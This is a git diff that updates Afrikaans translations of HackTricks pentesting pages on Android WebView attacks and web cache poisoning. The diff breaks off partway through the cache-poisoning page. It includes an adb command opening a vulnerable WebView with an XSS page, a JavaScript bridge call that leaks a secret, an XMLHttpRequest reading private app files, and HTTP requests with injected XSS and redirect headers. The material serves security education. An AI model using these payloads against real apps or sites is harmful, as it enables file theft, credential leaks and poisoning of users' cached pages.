Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md

This commit is contained in:
Translator 2024-03-16 10:06:00 +00:00
parent 1008080257
commit 1c877a48eb
5 changed files with 410 additions and 258 deletions

View file

@ -1,107 +1,112 @@
# Webweergawe-aanvalle
# Webview Aanvalle
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Vereenvoudigde Gids oor WebView-konfigurasies en -veiligheid
## Gids oor WebView Konfigurasies en Sekuriteit
### Oorsig van WebView-gebreklikhede
### Oorsig van WebView Swakhede
'n Kritieke aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en veiligheidspraktyke om risiko's wat verband hou met WebView-gebruik te verminder.
'n Kritiese aspek van Android-ontwikkeling behels die korrekte hantering van WebViews. Hierdie gids beklemtoon sleutelkonfigurasies en sekuriteitspraktyke om risiko's geassosieer met WebView-gebruik te verminder.
![Voorbeeld van WebView](../../.gitbook/assets/image%20(718).png)
![WebView Voorbeeld](<../../.gitbook/assets/image (718).png>)
### **Lêertoegang in WebViews**
Standaard staan WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()`-metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die **android.permission.READ_EXTERNAL_STORAGE**-toestemming kan lêers van eksterne stoorplek lees deur 'n lêer-URL-skema (`file://path/to/file`) te gebruik.
Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Aansoeke met die **android.permission.READ\_EXTERNAL\_STORAGE** toestemming kan lêers vanaf eksterne stoorplekke lees deur 'n lêer-URL-skema (`file://path/to/file`) te gebruik.
#### **Verouderde kenmerke: Universele en lêertoegang vanaf URL's**
#### **Verouderde Funksies: Universele en Lêertoegang vanaf URL's**
- **Universele toegang vanaf lêer-URL's**: Hierdie verouderde kenmerk het kruis-oorsprong-versoeke vanaf lêer-URL's toegelaat, wat 'n beduidende veiligheidsrisiko inhou as gevolg van potensiële XSS-aanvalle. Die verstekinstelling is gedeaktiveer (`false`) vir programme wat Android Jelly Bean en nuwer teiken.
- Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`.
- Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`.
* **Universele Toegang vanaf Lêer-URL's**: Hierdie verouderde funksie het kruis-oorsprongversoeke vanaf lêer-URL's toegelaat, wat 'n beduidende sekuriteitsrisiko vir moontlike XSS-aanvalle geskep het. Die verstekinstelling is gedeaktiveer (`false`) vir programme wat Android Jelly Bean en nuwer teiken.
* Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`.
* Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`.
* **Lêertoegang vanaf Lêer-URL's**: Hierdie funksie, ook verouderd, het toegang tot inhoud vanaf ander lêerskema-URL's beheer. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde sekuriteit.
* Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel.
- **Lêertoegang vanaf lêer-URL's**: Hierdie kenmerk, ook verouderd, beheer toegang tot inhoud vanaf ander lêerskema-URL's. Soos universele toegang, is die verstekinstelling gedeaktiveer vir verbeterde veiligheid.
- Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel.
#### **Veilige Lêerlaai**
#### **Veilige lêerlaai**
Vir die deaktivering van lêersisteemtoegang terwyl steeds toegang tot bates en bronne, word die `setAllowFileAccess()` metode gebruik. Met Android R en hoër is die verstekinstelling `false`.
Vir die deaktivering van lêersisteemtoegang terwyl toegang tot bates en hulpbronne steeds behou word, word die `setAllowFileAccess()`-metode gebruik. Met Android R en hoër is die verstekinstelling `false`.
- Kontroleer met `getAllowFileAccess()`.
- Aktiveer of deaktiveer met `setAllowFileAccess(boolean)`.
* Kontroleer met `getAllowFileAccess()`.
* Aktiveer of deaktiveer met `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
Die **WebViewAssetLoader**-klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's om plaaslike bates en hulpbronne te benader, in lyn met die Same-Origin-beleid, wat CORS-bestuur vergemaklik.
Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s)-URL's vir toegang tot plaaslike bates en bronne, in ooreenstemming met die Same-Origin-beleid, wat CORS-bestuur fasiliteer.
### **JavaScript en Intent-skemahandtering**
### loadUrl
- **JavaScript**: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word deur middel van `setJavaScriptEnabled()`. Voorsoorsigtigheid word aanbeveel, aangesien die aktivering van JavaScript sonder behoorlike veiligheidsmaatreëls veiligheidskwessies kan veroorsaak.
Dit is 'n algemene funksie wat gebruik word om willekeurige URL's in 'n webviwe te laai:
```java
webview.loadUrl("<url here>")
```
### **JavaScript en Intent Skema Hantering**
- **Intent-skema**: WebViews kan die `intent`-skema hanteer, wat potensieel kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het betrekking op 'n blootgestelde WebView-parameter "support_url" wat uitgebuit kon word om kruissite-skripsie (XSS) aanvalle uit te voer.
* **JavaScript**: Afgeskakel per standaard in WebViews, dit kan geaktiveer word deur `setJavaScriptEnabled()`. Voorsoichtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwessies kan veroorsaak.
* **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik kan lei tot uitbuitings as dit nie sorgvuldig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het 'n blootgestelde WebView parameter "support\_url" ingesluit wat uitgebuit kon word om kruis-webwerf skripsing (XSS) aanvalle uit te voer.
![Kwesbare WebView](../../.gitbook/assets/image%20(719).png)
![Kwesbare WebView](<../../.gitbook/assets/image (719).png>)
Voorbeeld van uitbuiting met behulp van adb:
Uitbuitingsvoorbeeld deur adb te gebruik:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript-brug
'n Funksie word deur Android voorsien wat dit moontlik maak vir **JavaScript** in 'n WebView om **nagtiewe Android-app-funksies** aan te roep. Dit word bereik deur die gebruik van die `addJavascriptInterface`-metode, wat JavaScript integreer met nagtiewe Android-funksies, bekend as 'n _WebView JavaScript-brug_. Voorsoorsigtigheid word aanbeveel, aangesien hierdie metode alle bladsye binne die WebView in staat stel om toegang te verkry tot die geregistreerde JavaScript-brugobjek, wat 'n veiligheidsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word.
'n Funksie word deur Android voorsien wat **JavaScript** in 'n WebView moontlik maak om **nagtiewe Android-app-funksies** aan te roep. Dit word bereik deur die `addJavascriptInterface`-metode te gebruik, wat JavaScript integreer met nagtiewe Android-funksionaliteite, genoem as 'n _WebView JavaScript-brug_. Voorsoorsigtigheid word aanbeveel aangesien hierdie metode alle bladsye binne die WebView toelaat om toegang te verkry tot die geregistreerde JavaScript-brug-objek, wat 'n sekuriteitsrisiko inhou as sensitiewe inligting deur hierdie brûe blootgestel word.
### Belangrike oorwegings
- **Uiterste voorsoorsigtigheid is nodig** vir programme wat Android-weergawes onder 4.2 teiken as gevolg van 'n kwesbaarheid wat afstandsbeheer deur middel van skadelike JavaScript moontlik maak deur refleksie te benut.
* **Uiterste versigtigheid is nodig** vir programme wat Android-weergawes onder 4.2 teiken weens 'n kwesbaarheid wat afgeleë kode-uitvoering deur skadelike JavaScript moontlik maak deur refleksie te benut.
#### Implementering van 'n JavaScript-brug
- **JavaScript-brûe** kan met nagtiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
* **JavaScript-brûe** kan met nagtiewe kode interaksie hê, soos in die voorbeelde waar 'n klasmetode aan JavaScript blootgestel word:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView te voeg:
* JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView toe te voeg:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
- Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep:
* Potensiële uitbuiting deur middel van JavaScript, byvoorbeeld deur 'n XSS-aanval, maak dit moontlik om blootgestelde Java-metodes aan te roep:
```html
<script>alert(javascriptBridge.getSecret());</script>
```
- Om risiko's te verminder, **beperk die gebruik van die JavaScript-brug** tot kode wat saam met die APK versprei word en voorkom die laai van JavaScript vanaf afgeleë bronne. Stel die minimum API-vlak op 17 vir ouer toestelle.
* Om risiko's te verminder, **beperk JavaScript-bruggebruik** tot kode wat saam met die APK gestuur word en voorkom dat JavaScript vanaf afgeleë bronne gelaai word. Stel vir ouer toestelle die minimum API-vlak op 17 in.
### Refleksie-gebaseerde afstandsbeheeruitvoering (RCE)
### Refleksie-gebaseerde Remote Kode-uitvoering (RCE)
- 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur die uitvoering van 'n spesifieke lading. Die `@JavascriptInterface`-annotasie voorkom egter ongemagtigde metode-toegang, wat die aanvalsvlak beperk.
* 'n Gedokumenteerde metode maak dit moontlik om RCE deur refleksie te bereik deur 'n spesifieke lading uit te voer. Die `@JavascriptInterface`-annotasie voorkom egter ongemagtigde metode-toegang en beperk die aanvalsoppervlak.
### Afstandsoplossing
### Afgeleë Foutopsporing
- **Afstandsoplossing** is moontlik met **Chrome Developer Tools**, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak.
* **Afgeleë foutopsporing** is moontlik met **Chrome Developer Tools**, wat interaksie en willekeurige JavaScript-uitvoering binne die WebView-inhoud moontlik maak.
#### Aktivering van afstandsoplossing
#### Afgeleë Foutopsporing Aktiveer
- Afstandsoplossing kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
* Afgeleë foutopsporing kan geaktiveer word vir alle WebViews binne 'n toepassing deur:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Om voorwaardelik foutopsporing in te skakel gebaseer op die toestand van die toepassing se debuggable eigenschap:
* Om voorwaardelik die foutopsporing te aktiveer gebaseer op die toestand van die aansoek se foutopsporingsvermoë:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
@ -110,7 +115,7 @@ if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
```
## Uitlek van willekeurige lêers
- Toon die uitlek van willekeurige lêers deur gebruik te maak van 'n XMLHttpRequest:
* Wys die uitlek van willekeurige lêers deur middel van 'n XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
@ -122,20 +127,23 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
xhr.send(null);
```
## Verwysings
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -18,63 +18,63 @@ Andere maniere om HackTricks te ondersteun:
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Die Verskil
> **Wat is die verskil tussen web cache vergiftiging en web cache misleiding?**
> **Wat is die verskil tussen web-kasvergiftiging en web-kas-misleiding?**
>
> * In **web cache vergiftiging**, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die cache stoor, en hierdie inhoud word van die cache na ander aansoekgebruikers bedien.
> * In **web cache misleiding**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
> * In **web-kasvergiftiging**, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die kas stoor, en hierdie inhoud word van die kas na ander aansoekgebruikers bedien.
> * In **web-kas-misleiding**, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kas stoor, en die aanvaller haal dan hierdie inhoud uit die kas.
## Cache Vergiftiging
## Kas Vergiftiging
Cache vergiftiging is daarop gemik om die kliëntkant-cache te manipuleer om kliënte te dwing om bronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besmette respons uitsluitlik aan gebruikers bedien word wat die bladsy besoek tydens die tydperk van cache besmetting.
Kasvergiftiging is daarop gemik om die kliëntkantkas te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy tydens die tydperk van kasbesoedeling besoek.
Die uitvoering van 'n cache vergiftigingsaanval behels verskeie stappe:
Die uitvoering van 'n kasvergiftigingsaanval behels verskeie stappe:
1. **Identifikasie van Ongekenmerkte Insette**: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die cache gestoor te word nie, die respons wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die cache te manipuleer.
2. **Uitbuiting van die Ongekenmerkte Insette**: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se respons op 'n manier te verander wat die aanvaller bevoordeel.
3. **Verseker dat die Vergiftigde Respons in die Cache Gestoor word**: Die finale stap is om te verseker dat die gemanipuleerde respons in die cache gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy besoek terwyl die cache vergiftig is, die besmette respons ontvang.
1. **Identifikasie van Ongekenmerkte Insette**: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die kas gestoor te word nie, die reaksie wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die kas te manipuleer.
2. **Uitbuiting van die Ongekenmerkte Insette**: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe hierdie parameters misbruik kan word om die bediener se reaksie op 'n manier te verander wat die aanvaller bevoordeel.
3. **Verseker dat die Vergiftigde Reaksie in die Kas Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die kas gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy toegang terwyl die kas vergiftig is, die besoedelde reaksie ontvang.
### Ontdekking: Kontroleer HTTP koppe
### Ontdekking: Kontroleer HTTP-koppe
Gewoonlik, wanneer 'n respons in die cache **gestoor is**, sal daar 'n **kop aandui** wees, jy kan kyk na watter koppe jy moet oplet in hierdie pos: [**HTTP Cache koppe**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Gewoonlik, wanneer 'n reaksie in die kas **gestoor is**, sal daar 'n **kop aandui** wees, jy kan nagaan op watter koppe jy moet let in hierdie pos: [**HTTP-kas-koppe**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Ontdekking: Caching 400 kode
### Ontdekking: Kas 400-kode
As jy dink dat die respons in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **status kode 400** beantwoord behoort te word. Probeer dan om die versoek normaal te benader en as die **respons 'n 400 status kode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).\
As jy dink dat die reaksie in 'n kas gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord behoort te word. Probeer dan om die versoek normaal te benader en as die **reaksie 'n 400-statuskode** is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).\
'n Sleg gekonfigureerde kop kan net `\:` as 'n kop wees.\
_Merk op dat soms hierdie soorte status kodes nie in die cache gestoor word nie, so hierdie toets sal nutteloos wees._
_Merk op dat soms hierdie soorte statuskodes nie in die kas gestoor word nie, so sal hierdie toets nutteloos wees._
### Ontdekking: Identifiseer en evalueer ongekenmerkte insette
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute-force** wat die respons van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om aan te dui dat die kliënt die skrips van daar moet laai:
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om parameters en koppe te **brute force** wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop `X-Forwarded-For` gebruik om aan te dui dat die kliënt die skrips van daar moet laai:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Ontlok 'n skadelike reaksie van die agterste bediener
### Lokaliseer 'n skadelike reaksie van die agterste bediener
Met die geïdentifiseerde parameter/kop, ondersoek hoe dit **gesaniteer** word en **waar** dit **weerspieël** word of die reaksie van die kop affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? Voer 'n DoS uit?...)
### Kry die gereageerde gekašeer
### Kry die gekašte reaksie
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekašeer kry. Afhangend van die bron wat jy in die kas wil kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\
Die kop **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekašeer was nie en die waarde **`hit`** wanneer dit gekašeer is.\
Die kop **`Cache-Control`** is ook interessant om te weet of 'n bron gekašeer word en wanneer die volgende keer die bron weer gekašeer sal word: `Cache-Control: public, max-age=1800`\
'n Ander interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe** aan te dui wat as deel van die kas sleutel hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kas vergiftig vir die gebruikers wat daardie spesifieke `User-Agent` gebruik.\
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy gekašte kry. Afhangende van die hulpbron wat jy in die kas probeer kry, kan dit 'n rukkie neem, jy moet dalk vir verskeie sekondes probeer.\
Die kop **`X-Cache`** in die reaksie kan baie nuttig wees omdat dit die waarde **`miss`** kan hê wanneer die versoek nie gekašte is nie en die waarde **`hit`** wanneer dit gekašte is.\
Die kop **`Cache-Control`** is ook interessant om te weet of 'n hulpbron gekašteer word en wanneer die volgende keer die hulpbron weer gekašteer sal word: `Cache-Control: public, max-age=1800`\
'n Ander interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe** aan te dui wat as deel van die kas sleutel behandel word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer ken wat hy teiken, kan hy die kas vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig.\
'n Ander kop wat verband hou met die kas is **`Age`**. Dit definieer die tyd in sekondes wat die voorwerp in die proksikas was.
Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kaseer, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kaskasvergiftiging met **verskillende webblaaier** om te sien of dit werk.
Wees **versigtig met die koppe** wat jy gebruik wanneer jy 'n versoek kashou, omdat sommige van hulle onverwags as **gesleutel** gebruik kan word en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kaskvergiftiging met **verskillende webblaaier** om te sien of dit werk.
## Uitbuitingsvoorbeelde
### Maklikste voorbeeld
'n Kop soos `X-Forwarded-For` word ongesaniteer in die reaksie weerspieël.\
Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, XSS sal wees:
Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, met XSS geïnfekteer sal word:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -92,11 +92,11 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
### Cache vergiftiging met padtraversal om API-sleutel te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enige iets wat ooreenstem met `/share/*` sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
[**Hierdie uiteensetting verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat ooreenstem met `/share/*` sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
### Gebruik van meervoudige koppe om webkachevergiftigingskwesbaarhede te misbruik <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Soms sal jy **veral meerdere ongesleutelde insette** moet misbruik om 'n kache te kan misbruik. Byvoorbeeld, jy mag 'n **Oop herlei** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP**-versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herlei. Jy kan beheer waarheen die bladsy verwys word deur die herleiing.
Soms sal jy **veral meerdere ongesleutelde insette** moet misbruik om 'n kache te kan misbruik. Byvoorbeeld, jy mag 'n **Oop herleiing** vind as jy `X-Forwarded-Host` instel op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http`. **As** die **bediener** al die **HTTP**-versoeke **na HTTPS deurstuur** en die kop `X-Forwarded-Scheme` gebruik as die domeinnaam vir die herleiing. Jy kan beheer waarheen die bladsy verwys word deur die herleiing.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -105,7 +105,7 @@ X-Forwarded-Scheme: http
```
### Uitbuiting met beperkte `Vary`-kop
Indien jy vind dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons aandui **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikeragent te gebruik:
